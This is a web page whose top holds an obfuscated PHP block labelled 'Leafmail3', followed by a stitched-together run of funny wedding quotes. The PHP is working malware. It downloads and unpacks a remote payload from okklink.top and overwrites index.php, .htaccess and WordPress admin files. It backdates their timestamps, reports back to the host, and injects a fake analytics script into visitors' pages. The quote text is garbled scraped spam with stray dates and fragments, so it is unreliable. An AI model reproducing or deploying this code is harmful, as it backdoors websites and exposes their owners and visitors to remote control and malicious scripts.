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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p>Funny wedding quotes. Life is hard, and your partner is the person you depend on to walk by your side through the good and Mar 22, 2023 · For more humor: Funny Maid of Honor Speech Lines Funny Anniversary Wishes for Friends Funny Marriage Quotes. “To the happy couple: just remember, marriage is all about give and take – like giving your partner the last slice of pizza and taking their side in an argument with your mother-in-law. Like most things in life: Less is more when it comes to funny wedding vows, jokes, puns and quotes. Knowing the couple’s sense of humor is crucial before crafting funny wedding wishes. In addition to funny wedding wishes, Personal Chic provides an array of customisation options, allowing you to create a truly unique gift for the happy couple. Jokes for Wedding Speech. If you know a happy couple who’s about to walk down the aisle and join the ranks of the millions of married people in the country Jun 27, 2023 · Funny Wedding Toasts; Funny Wedding Toast Quotes; Funny Wedding Toasts. Feb 22, 2021 · Laugh at the hilarious moments of being married with these witty and wise words from famous people. For your Partner. Apr 12, 2024 · Funny Wedding Wishes. A great addition to a wedding card or speech are some funny quotes said by others. Shop Now. Feb 2, 2024 · To the power couple of the office! May your marriage be dynamic like our brainstorming sessions and sweet like the treats in the breakroom. This list of funny wedding jokes has it all, from wedding jokes to share with a groom on his big day to delightfully accurate sayings about matrimony that all ladies will understand to the perfect marriage jokes for a wedding speech or toast. Of course, so does insanity. Mar 7, 2024 · 3. Well done on finding that one person you want to annoy for the rest of your life. 1st Paper Anniversary Wishes. If you have funny bones running through your body, include these funny wedding wishes in the message in the card. 13. ) There’s a way of transferring funds that is even faster than electronic banking. In a hurry? Skip to the section you need and find the perfect funny wedding toast below. Use them sparingly! Even if everyone knows you two are big goofballs, your wedding is still an important day that you should take seriously. ) The secret of our long marriage: You wear the pants, and I control the bank account. Here is a comprehensive list of short and sweet love and marriage quotes to inspire your own wedding day. ) Peanut butter and jelly are not a finer match. Mar 30, 2023 · Want to use funny wedding puns in a speech to entertain your audience and add some light-hearted humor to your special day? Be sure to use them appropriately and sparingly. Aug 9, 2023 · Tips for adding jokes, puns and funny quotes to your wedding. May 6, 2024 · Today, we’re diving headfirst into the wonderful world of funny wedding anniversary wishes. Find hilarious one-liners from movies, comedians and wise old sayings to spice up your wedding day. G. Jul 14, 2023 · 14. Dec 14, 2023 · Define your special roles with this mug personalised with witty wedding quotes. K. Here are perfect examples to consider. Forget soppy and heartfelt, you need tongue-in-cheek! If you want to make the newlyweds roar with laughter, these 65 funny wedding quotes are an excellent place to start. Funny quotes about marriage are a great way to get guests talking and sharing common ground so I would totally frame these and have them scattered around the wedding reception, you can use these as wedding captions on signage. 113. Whether you need a laugh, a pick-me-up, or a wedding toast, these funny quotes about marriage will brighten your day. James Holt McGavran. Jun 8, 2022 · If you’ve ever attended a wedding, you know that besides people looking their best for the occasion, some free meals, and wonderful photo-ops, such a party is bound to have a funny mishap or two. 58. May 16, 2019 · Below, find 26 short wedding puns guaranteed to make even grandma laugh—plus a smattering of funny marriage quotes that don’t once use the phrase “mother-in-law” to get a laugh. S. Also, they need to be motivational and bold. ) Marriage means commitment. Joyce Brothers. Cue the LOLs. 12. All these funny wedding toast examples are perfect for people who weren't born with the right kind of funny bone. ) The secret of a happy marriage remains a secret. Chesterton. “To keep your marriage brimming, With love in the loving cup, Whenever you’re wrong, admit it; Whenever you’re right, shut up. Jan 8, 2022 · SEE MORE: Funny Wedding Anniversary Quotes. These husband and wife jokes are the best. 70 Funny Marriage Quotes About Love & Relationships May 2, 2024 · 39 Funny Wedding Toasts and Speeches That'll Get the Whole Room Laughing. Plus, tips on writing and delivering a humorous speech that won't come off as a roast. Whether you need a romantic comedy quote, a modern take on marriage or a classic word of wisdom, we’ve got you covered. Congrats, colleague! Funny Wedding Quotes “A man is incomplete until he is married. Aug 13, 2023 · Funny Wedding Quotes About Husband. The fact that you've found your someone means the world. They say a wife is less angry with some chocolate in her mouth. Never forget this trick, man! Dos and Don’ts for Funny Wedding Wishes Consider the Couple’s Sense of Humor. ” – Heinrich Heine Aug 20, 2023 · Funny Wedding Quotes. Funny wedding toast quotes are a great way to start the speech or to end it. At The Wedding Notebook, we understand the challenges of writing wedding wishes on a Jan 30, 2024 · Our edit of funny love quotes and hilarious marriage quotes provides you with a staggering 70 potential lines that are perfect for writing in a wedding card or delivering in person on the day. But to save you time so you don't have to watch every comical movie in existence and listen to all the hilarious podcasts out there, here Feb 5, 2024 · Funny Wedding Wishes. A few days later, I plucked all the petals and dried them. And if anyone asks you after the toast how'd you come up with something so hilarious, I suggest just laughing loudly and walking away briskly. Funny Anniversary Quotes for Friends. To make an impression include both romantic and funny quotes about marriage. Some of the most famous comedians, film stars, authors and more have made hilarious comments about getting married. Thanks for all the free food and drink! Congratulations on throwing an excellent shindig. Ruth Bader Ginsburg. Jul 3, 2024 · Wedding Wishes For A Friend . Feb 4, 2024 · A quote embellishes an invitation, wedding congratulations card, or toast to the bride and groom with a touch of sophistication, humor, or affection. 4 million weddings in the U. So, let’s have a look at these incredibly funny wedding messages when you are looking forward to saying congratulations on your wedding in a hilarious way. 112. Shortly before our 25th wedding anniversary, my husband sent 25 long-stemmed yellow roses to me at my office. Funny quotes for wedding cards add a spark of laughter to a wedding event. You have been my everything and after 60 years I’m just as in love with you as the day we first met. Unknown. ” -Ogden Nash. If you're looking for some wed funny quotes or wedding anniversary quotes to share with your hubby, here's a great selection. Congratulations to the lovely couple! 59. Whether for a friend, family member, or colleague, these funny wedding card messages are sure to bring a little cheer to their special day. If you’re close to your friend or they are the type then a funny message making fun of their anniversary is a great option. Like a beacon on a dark night, may your love for one another shine fresh and bright. 56. ” Aug 9, 2024 · Last year, there were more than 2. Conclusion. The last 60 years have flown by and every second with you has been like a dream. ) The secret to a good marriage is to be a little deaf. Wedding day may come and go, however, I wish your love forever grow. Time to raise a ‘toast’ to the funny side of love! Get ready to ‘ring’ in some laughter with these 35 fabulous wedding puns. Whether you are just looking to have a laugh as a married man or woman, or you are hoping to boost the appeal of your speech – be that for a wedding, engagement party or anniversary – you will find 60 funny marriage quotes in this article that are guaranteed to 